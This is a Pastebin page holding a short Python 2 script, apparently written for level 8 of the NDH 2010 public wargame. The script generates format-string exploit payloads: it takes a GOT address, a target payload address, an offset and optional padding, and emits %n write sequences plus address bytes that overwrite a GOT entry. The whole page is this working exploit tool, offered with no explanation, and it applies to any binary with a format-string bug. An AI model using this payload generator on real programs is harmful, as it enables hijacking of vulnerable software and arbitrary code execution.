Advertisement
raisep0wn

NDH 2k10 public wargame, level8, fs tool

May 18th, 2011
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.10 KB | None | 0 0
  1. #!/usr/bin/python
  2. from sys import argv
  3. from getopt import getopt
  4.  
  5. opt,arg = getopt(argv[1:], "g:v:o:p:l")
  6. target = []
  7. desire = []
  8. offset = -1
  9. padding = ""
  10. LE = 0x000000FF
  11. string = ""
  12.  
  13. for o,a in opt:
  14.     if o == "-g":
  15.         a = int(a, 16)
  16.         for i in range(4):
  17.             target.append([a&LE, (a>>8)&LE, (a>>16)&LE, (a>>24)&LE])
  18.             a += 1
  19.     elif o == "-v":
  20.         desire = [int(a, 16)&LE, (int(a, 16)>>8)&LE, (int(a, 16)>>16)&LE, (int(a, 16)>>24)&LE]
  21.     elif o == "-o":
  22.         offset = int(a)
  23.     elif o == "-p":
  24.         padding = a
  25.  
  26. if target == [] or desire == [] or offset == -1:
  27.     print "%s -g <got_addr> -v <payload_addr> -o <offset> [-p <padding>]"%argv[0]
  28.     exit(1)
  29.  
  30. string += "%%1$%04dc%%%04d$n"%(desire[0], offset)
  31. string += "%%1$%04dc%%%04d$n"%(256+desire[1]-desire[0], offset+1)
  32. string += "%%1$%04dc%%%04d$n"%(256+desire[2]-desire[1], offset+2)
  33. string += "%%1$%04dc%%%04d$n"%(256+desire[3]-desire[2], offset+3)
  34.  
  35. for i in range(4):
  36.     string += "%c%c%c%c"%tuple(target[i])
  37. string += "%c%c%c%c"%tuple(desire) #useless -_-"
  38. string += padding
  39. print string
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement